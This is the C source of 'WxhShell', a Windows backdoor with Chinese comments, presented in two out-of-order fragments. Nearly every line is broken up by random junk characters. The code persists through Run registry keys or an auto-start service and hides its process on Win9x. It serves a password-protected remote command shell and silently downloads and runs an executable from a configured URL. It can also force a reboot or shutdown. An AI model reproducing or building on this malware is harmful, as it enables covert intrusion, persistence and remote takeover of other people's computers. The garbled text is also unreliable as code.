~ HANDLE hProcess; v>:Ur}u!D PROCESS_BASIC_INFORMATION pbi; ~Io7] Ki4r<>\l{H HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5c9^-|-T if(NULL == hInst ) return 0; %}[i'rT> e%@'5k\SK g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x`U^OLV g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :Hn6b$Vy8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .>q8W vhe>)h*B if (!NtQueryInformationProcess) return 0; C](f>)Dz
/ 1!ii;s^e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8H;t_B if(!hProcess) return 0; ? 8)'oMD wHzEMwY_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B+Rm>^CBm W~6EEyD% CloseHandle(hProcess); Bu#E9hJFvA t
4PK}>QW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <S\jpB if(hProcess==NULL) return 0; g~ZvA(` Q8C_9r/:N> HMODULE hMod; \O}E7- char procName[255]; -5
RD)(d unsigned long cbNeeded; T,7Y7c/3V p
s/Ayjk if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .nB0 h W_||6LbZy CloseHandle(hProcess); ;l4[%xld a<@1-j< if(strstr(procName,"services")) return 1; // 以服务启动 ]@dZ{H| M:XSQ["6>V return 0; // 注册表启动 d^Inb!%w } fg
s!v7 }e!x5g // 主模块 j:<n+:HC int StartWxhshell(LPSTR lpCmdLine) gaQdG=G8$ { 9Kpa>< SOCKET wsl; fo5iJz"Z BOOL val=TRUE; Mc=$/ o int port=0; uH/J]zKR struct sockaddr_in door; 34z"Pm S\4tzz @ if(wscfg.ws_autoins) Install(); 11TL~xFh OPwtV9% port=atoi(lpCmdLine); 'U1R\86M 8?J&`e/ if(port<=0) port=wscfg.ws_port; Y?S!8-z 4\y/'`xm)6 WSADATA data; >v:y?A, if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?a8^1: (gy#js# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lH-/L(h2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q7*SE%H door.sin_family = AF_INET; [OM7g'?S0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3_txg>P" door.sin_port = htons(port); G.rrv +Fuqchjq if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $@"l#vJPfc closesocket(wsl); 2-7IJ\ return 1; UADFnwR[R } @<&5J7fb #,,d>e if(listen(wsl,2) == INVALID_SOCKET) { QFw +cy closesocket(wsl); I`p+Qt return 1; NYE`Kin- } txW{7[w+, Wxhshell(wsl); -j%,Oo WSACleanup(); s@9vY\5[9 L0*nm.1X return 0; HIQ_%L4] H(bs$C4F } p!>oo1& 2HpHxVJ // 以NT服务方式启动 FB
_pw!z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t0o`-d( { HGXt DWORD status = 0; {)"iiJ DWORD specificError = 0xfffffff; kgnmGuka M*z~gOZ serviceStatus.dwServiceType = SERVICE_WIN32; /]=C{)8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;gBRCZ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TatpXN\ serviceStatus.dwWin32ExitCode = 0; (&}i`}v_ serviceStatus.dwServiceSpecificExitCode = 0; <0H"|:W>I] serviceStatus.dwCheckPoint = 0; 9F4Dm*_< serviceStatus.dwWaitHint = 0; n1~o1 E}Y!O"CAV hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x97
j if (hServiceStatusHandle==0) return; :A1{ d?B ,8:(OB|a status = GetLastError(); cV 5CaaL if (status!=NO_ERROR) U'8bdsF_ { iMI lZ serviceStatus.dwCurrentState = SERVICE_STOPPED; fIj|4a+ serviceStatus.dwCheckPoint = 0; T^ w36}a serviceStatus.dwWaitHint = 0; PE~G=1x3 serviceStatus.dwWin32ExitCode = status; I|>^1kr8w serviceStatus.dwServiceSpecificExitCode = specificError; $UgA0]qn SetServiceStatus(hServiceStatusHandle, &serviceStatus); LNrX;{ Z return; fJ/e(t } OlAs'TE^ 9A}# 6 serviceStatus.dwCurrentState = SERVICE_RUNNING; 5"HVBfFk serviceStatus.dwCheckPoint = 0; b
/@#}Gc serviceStatus.dwWaitHint = 0; ?mWw@6G, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y9_K, g } jgbLN/_{ )Z(TCJ~~! // 处理NT服务事件,比如:启动、停止 lz"OC<D}( VOID WINAPI NTServiceHandler(DWORD fdwControl) V>ieh2G( { pcYG~pZ9 switch(fdwControl) zRq-b`<7V { nX(+s*Y+w case SERVICE_CONTROL_STOP: [* @5\NWR} serviceStatus.dwWin32ExitCode = 0; 1jy9lP= serviceStatus.dwCurrentState = SERVICE_STOPPED; _h X]% serviceStatus.dwCheckPoint = 0; #Yr9AVr}K serviceStatus.dwWaitHint = 0; !OA]s%u { h<Ft_#|o[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Jt.lL ]5 } ^;/b+ /B0 return; "NgxkbDEbG case SERVICE_CONTROL_PAUSE: u[L`-zI serviceStatus.dwCurrentState = SERVICE_PAUSED; !R1.7}O break; Fb7#<h case SERVICE_CONTROL_CONTINUE: dZi(&s serviceStatus.dwCurrentState = SERVICE_RUNNING; o3I Tr'; break; F{eU";D case SERVICE_CONTROL_INTERROGATE: :cq9f2) break; ^j". }; } p&&_? SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]@uE#a:[ } ~v]!+`_J 7N:Y?Hi\ // 标准应用程序主函数 dHK`eS$sb int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xER\ZpA:, { 4$*%gL;f^ e pU: // 获取操作系统版本 *M$0J'-BQ OsIsNt=GetOsVer(); q{t*34R GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ECD`N<YF [ {
bV4 // 从命令行安装 ~$p2#AqX if(strpbrk(lpCmdLine,"iI")) Install(); jBU4F~1y 9(6I<]# // 下载执行文件 DdVF, if(wscfg.ws_downexe) { 2I&o69x? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [1F*bI WinExec(wscfg.ws_filenam,SW_HIDE); 3'^k$;^ } 'g$(QvGF9 %*&UJpbA if(!OsIsNt) { sVJ!FC // 如果时win9x,隐藏进程并且设置为注册表启动 Q5FM8Q HideProc(); {K9/HqH StartWxhshell(lpCmdLine); rFC" Jx } co9 .wB@ else e46/{4F, if(StartFromService()) #Sa27$&.> // 以服务方式启动 wc!onZX5 StartServiceCtrlDispatcher(DispatchTable); zxf"87se else ]79:yMD~ba // 普通方式启动 ]R=,5kK3 StartWxhshell(lpCmdLine); D<Zp!J1o DSt]{fl`P return 0; Clh!gpB c } :dLAs@z BM(]QUxRd * 1Od-3 5!EJxP9 =========================================== @DZB9DDR "R3d+p (ZY@$'' \mV'mZ9> ed:@C? ~_s{0g]B " ET[kpL ] Puy!Q #include <stdio.h> 1!.(4gV #include <string.h> H)>@/"j; #include <windows.h> jiYmb8Q4D #include <winsock2.h> ^;Sy. W&` #include <winsvc.h> 1&P< #include <urlmon.h> ($LLl;1 1c;6xc,ub #pragma comment (lib, "Ws2_32.lib") %~jkB.\* ) #pragma comment (lib, "urlmon.lib") g7&9" RKPD4e>% #define MAX_USER 100 // 最大客户端连接数 MdXchO-Lyc #define BUF_SOCK 200 // sock buffer v$=QA:!U #define KEY_BUFF 255 // 输入 buffer M4d47<'*~ ixV0|P8,c #define REBOOT 0 // 重启 )x]3Zq #define SHUTDOWN 1 // 关机 qY>{cjo HmZ{L +" #define DEF_PORT 5000 // 监听端口 @]![o % gd0Vp Xf' #define REG_LEN 16 // 注册表键长度 AQc,>{Lm #define SVC_LEN 80 // NT服务名长度 Y2O"]phi@ z.CywME<)t // 从dll定义API fPR$kch
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wQ%mN[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M{$j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LC})ciWa typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q//,4>JKf vBsP+K // wxhshell配置信息 PC qZNBN struct WSCFG { de]z T^&C int ws_port; // 监听端口 n=,\;3Y= char ws_passstr[REG_LEN]; // 口令 R@wjccu int ws_autoins; // 安装标记, 1=yes 0=no )NO<s0?& char ws_regname[REG_LEN]; // 注册表键名 [j"9rO" + char ws_svcname[REG_LEN]; // 服务名 h1(j2S`: char ws_svcdisp[SVC_LEN]; // 服务显示名 E( h<$w8s char ws_svcdesc[SVC_LEN]; // 服务描述信息 LPwT^zV&N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gh>>Ibf int ws_downexe; // 下载执行标记, 1=yes 0=no ?X-)J=XG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gaf$uT2
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )~V4+*< +`sv91c }; 720)VzT cv(PP-'\ // default Wxhshell configuration (n1Bh~R^ struct WSCFG wscfg={DEF_PORT, )?2e "xuhuanlingzhe", lKkN_ (/j 1, }@+NN
?P "Wxhshell", .0G6flD "Wxhshell", Q`#4W3-, "WxhShell Service", ?DH"V7bs "Wrsky Windows CmdShell Service", cD4
kC>P* "Please Input Your Password: ",
5*\\J&H 1, 5`]UE7gT "http://www.wrsky.com/wxhshell.exe", 2S8P}$mM "Wxhshell.exe" ?+c`]gO7N }; F3oQ^;xB {"vkji> // 消息定义模块 lc6iKFyG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NWfAxkz{/ char *msg_ws_prompt="\n\r? for help\n\r#>"; Uu 7dSU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ez3Z3t` char *msg_ws_ext="\n\rExit."; 9e U[*S char *msg_ws_end="\n\rQuit."; Y:ldR char *msg_ws_boot="\n\rReboot..."; pr,p=4m{\ char *msg_ws_poff="\n\rShutdown..."; .P$IJUYO char *msg_ws_down="\n\rSave to "; @FN*TJ y[@\j9Hq char *msg_ws_err="\n\rErr!"; WS2osBc char *msg_ws_ok="\n\rOK!"; idRD![!UI O8U<{jgAG char ExeFile[MAX_PATH]; )c/Fasfg[P int nUser = 0; $3X-rjQtW HANDLE handles[MAX_USER]; ?8,%LIQ? int OsIsNt; OOBhbpg!D a4gi,pz$] SERVICE_STATUS serviceStatus; m6
s7F/ SERVICE_STATUS_HANDLE hServiceStatusHandle; W/=|/-\]/ fWGOP~0 // 函数声明 _)$PKOzbb int Install(void); QIB>rQCceo int Uninstall(void); Ovw[b2ii int DownloadFile(char *sURL, SOCKET wsh); 7:NmCpgL! int Boot(int flag); 2eQdQwX void HideProc(void); ":Edu,6O int GetOsVer(void); Oq(VvS/ int Wxhshell(SOCKET wsl); Xj+q~4{|vt void TalkWithClient(void *cs); [O
", int CmdShell(SOCKET sock); K 3GSOD> int StartFromService(void); w(nHD*nm int StartWxhshell(LPSTR lpCmdLine); qIwV q!= I-NN29Sk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t j Vh^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); !.5),2 \nrP$ // 数据结构和表定义
Aw!gSf) SERVICE_TABLE_ENTRY DispatchTable[] = $trAC@3O@ { Wx)K*9 {wscfg.ws_svcname, NTServiceMain}, @LD6:gy {NULL, NULL} PWgDFL? }; m:Go-tk ^ons:$0h // 自我安装 fn{S
"33" int Install(void) ;SKh { 7q9gngT1LA char svExeFile[MAX_PATH]; o5Rz%k#h HKEY key; }b["Jk\2 strcpy(svExeFile,ExeFile); mZ0J!QYk vC/[^ // 如果是win9x系统,修改注册表设为自启动 y@ek=fT%4 if(!OsIsNt) { `kN#4p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J_#R 87 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zxZtz RegCloseKey(key); ? S=W& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NSLVD[yT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nX%AeDBAT RegCloseKey(key); `QP
~ return 0; msTB'0 } XbvDi+R2A } 2O""4_G } t)1phg4H) else { <ZPZk'53<f 4,eQW[;kk // 如果是NT以上系统,安装为系统服务 zDBD .5R; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K!8zwb=fq if (schSCManager!=0) nf%4sIQ*x { (RF>s.B< SC_HANDLE schService = CreateService ^3I'y
UsY ( ,I*X)( schSCManager, 2g`[u| wscfg.ws_svcname, M?6;|-HH wscfg.ws_svcdisp, M?:\9DDd SERVICE_ALL_ACCESS, KjR4=9MD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }N3`gCy9eN SERVICE_AUTO_START, $-pbw@7 SERVICE_ERROR_NORMAL, >2-F2E, svExeFile, {gkwOMW NULL, !ng\`
|8? NULL, }ymvC NULL, ]if;A ) ' NULL, c;V D}UD' NULL ua& @GXvZ ); Sb<\-O14" if (schService!=0) LcUlc)YH5 { U~QMR-bz CloseServiceHandle(schService); [yd6gH CloseServiceHandle(schSCManager); O3_B<Em strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !UNNjBBP7 strcat(svExeFile,wscfg.ws_svcname); T^)plWw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (Pz8iz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G,DOBA RegCloseKey(key); I6w/0,azC return 0; rF8
hr } 6F5,3& } %Dyh:h CloseServiceHandle(schSCManager); %]jQ48^R } 6&],WGz } >(tO
QeN ec'tFL#u{ return 1; hAa[[%wPhU } pN k8! k uX0
Bp8P // 自我卸载 ,8`O7V{W int Uninstall(void) u9}!Gq { C"No5r'K3 HKEY key; x^2 W?< `E;)`J8b if(!OsIsNt) { W?PWJkIw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %MNk4UsV RegDeleteValue(key,wscfg.ws_regname); !rHx}n{rw RegCloseKey(key); [tN` :}? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z[biK|YL RegDeleteValue(key,wscfg.ws_regname); *. dKR RegCloseKey(key); Qdm(q:w return 0; |UZOAGiBg } "i''Ui\H } vTcZ8|3 e } x~(y "^ph else { @ay|]w dqwWfn1lt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ReqE?CeV if (schSCManager!=0) $P_x v { LH.%\TMN$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %%x0w^ if (schService!=0) Q
%y,;N"ro { ;r=?BbND? if(DeleteService(schService)!=0) { .r*#OUC CloseServiceHandle(schService); 3 9yz~ CloseServiceHandle(schSCManager); #rq?f return 0; 0w+5'lOg } x {vIT- f CloseServiceHandle(schService); Xiw@ } $%;jk CloseServiceHandle(schSCManager); }_vM&.GFlL } r?]%d! } q@w"yz> ~RCg.&[ou return 1; E6JV}`hSk } Q.>/*8R; ^Bn1; // 从指定url下载文件 ac3_L$X[ int DownloadFile(char *sURL, SOCKET wsh) iU,/!IQ { @%%bRY HRESULT hr; b+_hI)T char seps[]= "/"; {[N?+ZJD*L char *token; M(NH9EE char *file; lf;~5/%wMG char myURL[MAX_PATH]; p^Agh
char myFILE[MAX_PATH]; dGa@<hg %-k(&T3& strcpy(myURL,sURL); M-vC>u3Y token=strtok(myURL,seps); )L|C'dJ<k` while(token!=NULL) =}"R5 { R^|!^[WE file=token; :K:f^o]s token=strtok(NULL,seps); !4_!J (q% } d~3GV(M c'xUJhEL GetCurrentDirectory(MAX_PATH,myFILE); # UjEY9"M strcat(myFILE, "\\"); cu:-MpE strcat(myFILE, file); va@Xb UC send(wsh,myFILE,strlen(myFILE),0); nQ!N}5[z' send(wsh,"...",3,0); 0}6QO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rAL1TU(vm if(hr==S_OK) <Ak:8&$O return 0; \I:UC
% else sN;(/O return 1; *1i?6$[
" Ls lM$
} icU"Vyu M\9IlV?' // 系统电源模块 j`{fB} int Boot(int flag) >}70]dN7b { >s44 HANDLE hToken; <xXiJU+ TOKEN_PRIVILEGES tkp; i'U,S`L6> vY4WQbz( if(OsIsNt) { zI1(F67d` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l.sm~/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t;h+Cf4 tkp.PrivilegeCount = 1; U`:l AG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <.;@ksCPW{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @wg&6uQ if(flag==REBOOT) { GOUY_&}tL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rve7YS' return 0; lkI8{ } '\Qf,%%. else { unx;m$-c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D WsCYo return 0; E=$7ieW } 6wa<'! } Bidqf7v else { ~3LhcU- if(flag==REBOOT) { Sr4dY`V*:z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'SsPx&)l return 0; 8 h55$j } n P0Ziu'{ else { ,| $|kO/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) se4w~\/ return 0; cP/F|uG5 } jB}_Slh1j } gvow\9{|C de3yP, return 1; 9\\@I
=; } %#[r_QQ^ .Y=Z!Q // win9x进程隐藏模块 V2WUM+`uT void HideProc(void) 6$xo# }8 { 'XC&BWJ BaNU}@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UXcH";*9b if ( hKernel != NULL ) V\e13cL] { dVY(V&p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^sr:N5~z` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T%N~oa FreeLibrary(hKernel); r"HbrQn } -f-O2G= v@}1WGY return; *!wO:<- } i-K"9z|) -(%ar%~Zd // 获取操作系统版本 Z7mGC`> int GetOsVer(void) Mp DdJ, { B.C H9M OSVERSIONINFO winfo; LZZ:P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wfU&{7yt GetVersionEx(&winfo); 8Izn'>" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P!>{>r4 return 1; [qjAq@@N#q else L*SSv
wSL return 0; 2Be ?5+ } ~%8Q75tn. 1DI"LIL // 客户端句柄模块 a
V+o\fId int Wxhshell(SOCKET wsl) ci{9ODN { 5;sQ@ SOCKET wsh; xqi*N13 struct sockaddr_in client; :!Y?j{sGU DWORD myID; ~_# Y,)S!z tehI!->l while(nUser<MAX_USER) {YO%JTQ { 9FIe W[ int nSize=sizeof(client); S,)|~#5x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c],frhmyd if(wsh==INVALID_SOCKET) return 1; 6Mf3)o2 BC$;b>IUA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a2klOX{ if(handles[nUser]==0) 7/U<\(V!g closesocket(wsh); F`ZIc7(.{ else TJ%]{%F nUser++; x(/@Pt2B } Ql6ai
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )68fm\t( >b!X&JU return 0; #pm-nU%|_j } 5shu76 mrLx]og, // 关闭 socket _w5~/PbWt void CloseIt(SOCKET wsh) lu@>?,< { jhEg#Q$ closesocket(wsh); ah!O&ECh nUser--; Rm\']; ExitThread(0); 4htSwK+
} 2dd:5L, ;MRC~F= // 客户端请求句柄 V^$rH< void TalkWithClient(void *cs) BtNW5'^ { %3l;bR> vX0I^8. SOCKET wsh=(SOCKET)cs; D8D!1 6_ char pwd[SVC_LEN]; ]htZ!; 8J char cmd[KEY_BUFF]; =`\,2Nb char chr[1];
\#+2;L int i,j; ?lwQne8/ /@nRL while (nUser < MAX_USER) { M6hvi(!X2 4{pemqS* if(wscfg.ws_passstr) { N7I71q| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wq_oh*"
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iZq@W3GL
C //ZeroMemory(pwd,KEY_BUFF); 3Llj_lf i=0; 548[!p4 while(i<SVC_LEN) { _9-D3_P[3 tj^:SW.0 // 设置超时 hpz*jyh8 fd_set FdRead; 5 *pN<S struct timeval TimeOut; ~~:8Yv[( FD_ZERO(&FdRead);
&pY G FD_SET(wsh,&FdRead); })0 7u TimeOut.tv_sec=8; \Af|$9boHz TimeOut.tv_usec=0; CpqSn/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GWqY$YT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Ig2f$} 3
cW"VrFy9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lQ<n
dt~ pwd=chr[0]; eZod}~J8 if(chr[0]==0xd || chr[0]==0xa) { *JC{G^|Y pwd=0; !>2\OSp! break; L,A-G"z0Z } 73z|'0. i++; 6p=x gk-q } $E,DxDT 7CL@iL Tq // 如果是非法用户,关闭 socket ]|LaMMD if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )>M@hIV5> } :9
iOuu cYwC,\uF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vgW1hWmHJ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Ho.O7H ^21f^>k( while(1) { 7C?mD75j 2d;xAX ] ZeroMemory(cmd,KEY_BUFF); No&[ \; -zLI!F 0 // 自动支持客户端 telnet标准 v?TJ!o j=0; |wb(rua while(j<KEY_BUFF) { MirBJL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f uNXY-; cmd[j]=chr[0]; RowiSW if(chr[0]==0xa || chr[0]==0xd) { H'\ EA(v+ cmd[j]=0; RrpFi'R break; ,Y8X"~{A } yW(+?7U j++; X|1YGZJ } ^`MDP`M; sfPN\^k2 // 下载文件 U@5Z9/n{ if(strstr(cmd,"http://")) { to|9)\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); &FF. Ddt{ if(DownloadFile(cmd,wsh)) w]-iM send(wsh,msg_ws_err,strlen(msg_ws_err),0); htrj3$q(4 else }~'Wz*Gm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +*{5ORq= } \` ^Tbn: else { ]]o[fqD-Zn "[S
6w switch(cmd[0]) { B]F7t4Y! *+Q*&-$ // 帮助 9ufs6z case '?': { %ys}Q!gR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pP,bW~rk break; ly%B!P| } OT3;qT*fw // 安装 azc:C case 'i': { \o)4m[oF if(Install()) Bic {
H send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;O|63 else VDY1F_Fk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .LR>&N _U break; '\\Cpc_g } B&N&e |